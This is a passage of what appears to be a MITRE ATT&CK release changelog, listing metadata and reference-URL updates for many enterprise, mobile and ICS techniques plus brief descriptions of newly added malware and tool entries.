| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
[T1036.003] Masquerading: Rename System Utilities
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-14 21:12:48.411000+00:00 | 2024-09-12 19:30:45.065000+00:00 |
| external_references[1]['description'] | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/ItsReallyNick/status/1055321652777619457 | https://x.com/ItsReallyNick/status/1055321652777619457 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1053] Scheduled Task/Job
Current version: 2.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 15:29:46.832000+00:00 | 2024-10-15 15:14:03.453000+00:00 |
[T1593.002] Search Open Websites/Domains: Search Engines
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:52:06.960000+00:00 | 2024-09-12 19:19:47.758000+00:00 |
| external_references[1]['description'] | Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020. | Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://securitytrails.com/blog/google-hacking-techniques | https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks |
[T1593] Search Open Websites/Domains
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-18 22:48:33.286000+00:00 | 2024-09-12 19:19:47.759000+00:00 |
| external_references[1]['description'] | Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020. | Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://securitytrails.com/blog/google-hacking-techniques | https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1003.002] OS Credential Dumping: Security Account Manager
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-07-24 18:53:10.860000+00:00 | 2024-10-15 16:40:52.174000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1555.002] Credentials from Password Stores: Securityd Memory
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-29 16:37:34.772000+00:00 | 2024-10-15 16:41:18.638000+00:00 |
| external_references[1]['description'] | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418 |
[T1569.002] System Services: Service Execution
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-14 15:53:00.999000+00:00 | 2024-10-15 16:41:40.247000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1489] Service Stop
Current version: 1.2
|
|
|---|
| t | Adversaries may stop or disable services on a system to rend | t | Adversaries may stop or disable services on a system to rend |
| er those services unavailable to legitimate users. Stopping | | er those services unavailable to legitimate users. Stopping |
| critical services or processes can inhibit or stop response | | critical services or processes can inhibit or stop response |
| to an incident or aid in the adversary's overall objectives | | to an incident or aid in the adversary's overall objectives |
| to cause damage to the environment.(Citation: Talos Olympic | | to cause damage to the environment.(Citation: Talos Olympic |
| Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries |
| may accomplish this by disabling individual services of hig | | may accomplish this by disabling individual services of hig |
| h importance to an organization, such as <code>MSExchangeIS< | | h importance to an organization, such as <code>MSExchangeIS< |
| /code>, which will make Exchange content inaccessible (Citat | | /code>, which will make Exchange content inaccessible.(Citat |
| ion: Novetta Blockbuster). In some cases, adversaries may st | | ion: Novetta Blockbuster) In some cases, adversaries may sto |
| op or disable many or all services to render systems unusabl | | p or disable many or all services to render systems unusable |
| e.(Citation: Talos Olympic Destroyer 2018) Services or proce | | .(Citation: Talos Olympic Destroyer 2018) Services or proces |
| sses may not allow for modification of their data stores whi | | ses may not allow for modification of their data stores whil |
| le running. Adversaries may stop services or processes in or | | e running. Adversaries may stop services or processes in ord |
| der to conduct [Data Destruction](https://attack.mitre.org/t | | er to conduct [Data Destruction](https://attack.mitre.org/te |
| echniques/T1485) or [Data Encrypted for Impact](https://atta | | chniques/T1485) or [Data Encrypted for Impact](https://attac |
| ck.mitre.org/techniques/T1486) on the data stores of service | | k.mitre.org/techniques/T1486) on the data stores of services |
| s like Exchange and SQL Server.(Citation: SecureWorks WannaC | | like Exchange and SQL Server.(Citation: SecureWorks WannaCr |
| ry Analysis) | | y Analysis) |
New Mitigations:
- M1060: Out-of-Band Communications Channel
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-07-28 18:47:11.957000+00:00 | 2024-10-12 15:57:27.380000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1574.011] Hijack Execution Flow: Services Registry Permissions Weakness
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:38.651000+00:00 | 2024-09-12 19:42:48.016000+00:00 |
| external_references[1]['description'] | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/r0wdy_/status/936365549553991680 | https://x.com/r0wdy_/status/936365549553991680 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1547.009] Boot or Logon Autostart Execution: Shortcut Modification
Current version: 1.2
New Mitigations:
- M1022: Restrict File and Directory Permissions
- M1038: Execution Prevention
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:49.848000+00:00 | 2024-10-15 13:41:16.110000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1598.002] Phishing for Information: Spearphishing Attachment
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:41:33.335000+00:00 | 2024-05-31 04:18:44.568000+00:00 |
| external_references[4]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
[T1566.001] Phishing: Spearphishing Attachment
Current version: 2.2
New Mitigations:
- M1018: User Account Management
- M1047: Audit
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-31 14:09:27.066000+00:00 | 2024-10-15 16:42:01.552000+00:00 |
| external_references[1]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
[T1598.003] Phishing for Information: Spearphishing Link
Current version: 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 13:26:16.082000+00:00 | 2024-05-31 04:18:44.567000+00:00 |
| external_references[1]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
[T1566.003] Phishing: Spearphishing via Service
Current version: 2.0
New Mitigations:
- M1018: User Account Management
- M1047: Audit
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-31 14:15:55.690000+00:00 | 2024-10-15 15:16:30.272000+00:00 |
[T1562.011] Impair Defenses: Spoof Security Alerting
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-12 22:46:33.995000+00:00 | 2024-10-16 20:12:44.962000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_contributors[0] | Goldstein Menachem | Menachem Goldstein |
[T1565.001] Data Manipulation: Stored Data Manipulation
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-19 23:03:49.461000+00:00 | 2024-08-26 16:33:33.982000+00:00 |
| external_references[2]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1195] Supply Chain Compromise
Current version: 1.6
New Mitigations:
- M1018: User Account Management
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-26 14:23:37.009000+00:00 | 2024-10-04 11:17:00.778000+00:00 |
| external_references[5]['url'] | https://www.se.com/ww/en/download/document/SESN-2018-236-01/ | https://www.se.com/us/en/download/document/SESN-2018-236-01/ |
[T1216.002] System Script Proxy Execution: SyncAppvPublishingServer
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-18 23:51:40.464000+00:00 | 2024-09-12 19:42:21.547000+00:00 |
| external_references[4]['description'] | Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024. | Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024. |
| external_references[4]['url'] | https://twitter.com/monoxgas/status/895045566090010624 | https://x.com/monoxgas/status/895045566090010624 |
[T1497.001] Virtualization/Sandbox Evasion: System Checks
Current version: 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 12:49:40.919000+00:00 | 2024-09-12 15:50:18.047000+00:00 |
| external_references[3]['description'] | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024. |
| external_references[3]['url'] | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit |
[T1082] System Information Discovery
Current version: 2.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:40.871000+00:00 | 2024-10-15 16:42:22.247000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1053.006] Scheduled Task/Job: Systemd Timers
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-08 11:56:26.862000+00:00 | 2024-10-15 16:42:51.536000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1505.005] Server Software Component: Terminal Services DLL
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-18 20:22:44.971000+00:00 | 2024-09-12 19:40:42.810000+00:00 |
| external_references[1]['description'] | James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022. | James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/james_inthe_box/status/1150495335812177920 | https://x.com/james_inthe_box/status/1150495335812177920 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1497.003] Virtualization/Sandbox Evasion: Time Based Evasion
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:37:43.854000+00:00 | 2024-09-12 15:50:18.048000+00:00 |
| external_references[1]['description'] | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024. |
| external_references[1]['url'] | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit |
[T1588.002] Obtain Capabilities: Tool
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:17:55.499000+00:00 | 2024-09-16 16:20:16.431000+00:00 |
| external_references[1]['description'] | Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020. | Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024. |
| external_references[1]['url'] | https://www.recordedfuture.com/identifying-cobalt-strike-servers/ | https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers |
[T1565.002] Data Manipulation: Transmitted Data Manipulation
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-19 23:04:44.258000+00:00 | 2024-08-26 16:33:33.983000+00:00 |
| external_references[2]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1059.004] Command and Scripting Interpreter: Unix Shell
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 12:24:40.163000+00:00 | 2024-10-15 15:17:19.136000+00:00 |
[T1546.004] Event Triggered Execution: Unix Shell Configuration Modification
Current version: 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-20 18:01:52.120000+00:00 | 2024-09-25 15:02:24.143000+00:00 |
| external_references[2]['description'] | Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021. | Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024. |
| external_references[2]['url'] | https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/ | https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/ |
[T1608.001] Stage Capabilities: Upload Malware
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-11 23:22:49.534000+00:00 | 2024-10-16 20:13:40.501000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_contributors[1] | Goldstein Menachem | Menachem Goldstein |
[T1497.002] Virtualization/Sandbox Evasion: User Activity Based Checks
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 14:57:48.362000+00:00 | 2024-09-12 15:50:18.050000+00:00 |
| external_references[1]['description'] | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024. |
| external_references[1]['url'] | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit |
[T1021.005] Remote Services: VNC
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:46.879000+00:00 | 2024-09-12 15:20:07.264000+00:00 |
| external_references[9]['description'] | Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021. | Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024. |
| external_references[9]['url'] | http://lists.openstack.org/pipermail/openstack/2013-December/004138.html | https://lists.openstack.org/pipermail/openstack/2013-December/004138.html |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1583.003] Acquire Infrastructure: Virtual Private Server
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 15:36:59.315000+00:00 | 2024-10-15 13:22:11.113000+00:00 |
[T1497] Virtualization/Sandbox Evasion
Current version: 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 14:57:48.989000+00:00 | 2024-09-12 15:50:18.049000+00:00 |
| external_references[1]['description'] | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024. |
| external_references[1]['url'] | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit |
[T1059.005] Command and Scripting Interpreter: Visual Basic
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-07 17:13:03.738000+00:00 | 2024-10-15 16:43:27.104000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1595.002] Active Scanning: Vulnerability Scanning
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-13 20:46:31.907000+00:00 | 2024-10-15 13:37:31.317000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1056.003] Input Capture: Web Portal Capture
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:46.711000+00:00 | 2024-10-15 16:43:43.849000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1584.006] Compromise Infrastructure: Web Services
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-12 20:19:21.620000+00:00 | 2024-10-15 16:44:09.114000+00:00 |
| external_references[1]['description'] | Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020. | Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024. |
| external_references[1]['url'] | https://www.recordedfuture.com/turla-apt-infrastructure/ | https://www.recordedfuture.com/research/turla-apt-infrastructure |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1059.003] Command and Scripting Interpreter: Windows Command Shell
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 17:35:02.889000+00:00 | 2024-10-15 15:19:56.540000+00:00 |
[T1555.004] Credentials from Password Stores: Windows Credential Manager
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 15:46:55.929000+00:00 | 2024-10-15 16:44:35.906000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1047] Windows Management Instrumentation
Current version: 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 18:13:25.130000+00:00 | 2024-10-15 15:20:57.328000+00:00 |
[T1021.006] Remote Services: Windows Remote Management
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-11 15:26:41.941000+00:00 | 2024-09-12 15:28:23.398000+00:00 |
| external_references[4]['description'] | Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014. | Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024. |
| external_references[4]['url'] | http://msdn.microsoft.com/en-us/library/aa384426 | https://learn.microsoft.com/en-us/windows/win32/winrm/portal |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1559.003] Inter-Process Communication: XPC Services
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-20 22:54:47.164000+00:00 | 2024-10-16 16:14:12.793000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_contributors[0] | Csaba Fitzl @theevilbit of Offensive Security | Csaba Fitzl @theevilbit of Kandji |
[T1220] XSL Script Processing
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-05-05 05:04:14.238000+00:00 | 2024-09-12 19:40:12.337000+00:00 |
| external_references[2]['description'] | Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018. | Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024. |
| external_references[2]['url'] | https://twitter.com/dez_/status/986614411711442944 | https://x.com/dez_/status/986614411711442944 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
mobile-attack
Patches
[T1414] Clipboard Data
Current version: 3.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-16 18:33:20.042000+00:00 | 2024-09-12 15:17:00.569000+00:00 |
| external_references[3]['description'] | Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019. | Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://saschafahl.de/static/paper/pwmanagers2013.pdf | https://saschafahl.de/static/paper/pwmanagers2013.pdf |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1417.002] Input Capture: GUI Input Capture
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-20 18:55:51.676000+00:00 | 2024-09-12 15:20:41.834000+00:00 |
| external_references[3]['description'] | Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019. | Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://cloak-and-dagger.org/ | https://cloak-and-dagger.org/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1628.001] Hide Artifacts: Suppress Application Icon
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-20 18:51:29.931000+00:00 | 2024-09-12 19:47:06.884000+00:00 |
| external_references[5]['description'] | NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019. | NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved September 12, 2024. |
| external_references[5]['url'] | https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker | https://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
ics-attack
Patches
[T0814] Denial of Service
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-13 17:56:59.992000+00:00 | 2024-10-14 19:00:55.006000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
Software
enterprise-attack
New Software
[S1133] Apostle
Current version: 1.0
Description: [Apostle](https://attack.mitre.org/software/S1133) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://attack.mitre.org/software/S1133) is written in .NET and shares various programming and functional overlaps with [IPsec Helper](https://attack.mitre.org/software/S1132).(Citation: SentinelOne Agrius 2021)
[S1136] BFG Agonizer
Current version: 1.0
Description: [BFG Agonizer](https://attack.mitre.org/software/S1136) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://attack.mitre.org/groups/G1030) threat actor.(Citation: Unit42 Agrius 2023)
[S1161] BPFDoor
Current version: 1.0
Description: [BPFDoor](https://attack.mitre.org/software/S1161) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://attack.mitre.org/software/S1161) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://attack.mitre.org/software/S1161) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 2023)
[S1149] CHIMNEYSWEEP
Current version: 1.0
Description: [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is a backdoor malware that was deployed during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.(Citation: Mandiant ROADSWEEP August 2022)
[S1155] Covenant
Current version: 1.0
Description: [Covenant](https://attack.mitre.org/software/S1155) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://attack.mitre.org/groups/G0125) during operations. [Covenant](https://attack.mitre.org/software/S1155) functions through a central listener managing multiple deployed "Grunts" that communicate back to the controller.(Citation: Github Covenant)(Citation: Microsoft HAFNIUM March 2020)
[S1153] Cuckoo Stealer
Current version: 1.0
Description: [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)
[S1134] DEADWOOD
Current version: 1.0
Description: [DEADWOOD](https://attack.mitre.org/software/S1134) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://attack.mitre.org/software/S1134) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://attack.mitre.org/groups/G1030) operations.(Citation: SentinelOne Agrius 2021)
[S1158] DUSTPAN
Current version: 1.0
Description: [DUSTPAN](https://attack.mitre.org/software/S1158) is an in-memory dropper written in C/C++ used by [APT41](https://attack.mitre.org/groups/G0096) since 2021 that decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)
[S1159] DUSTTRAP
Current version: 1.0
Description: [DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)
[S1144] FRP
Current version: 1.0
Description: [FRP](https://attack.mitre.org/software/S1144), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://attack.mitre.org/software/S1144) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.(Citation: FRP GitHub)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: RedCanary Mockingbird May 2020)(Citation: DFIR Phosphorus November 2021)
[S1138] Gootloader
Current version: 1.0
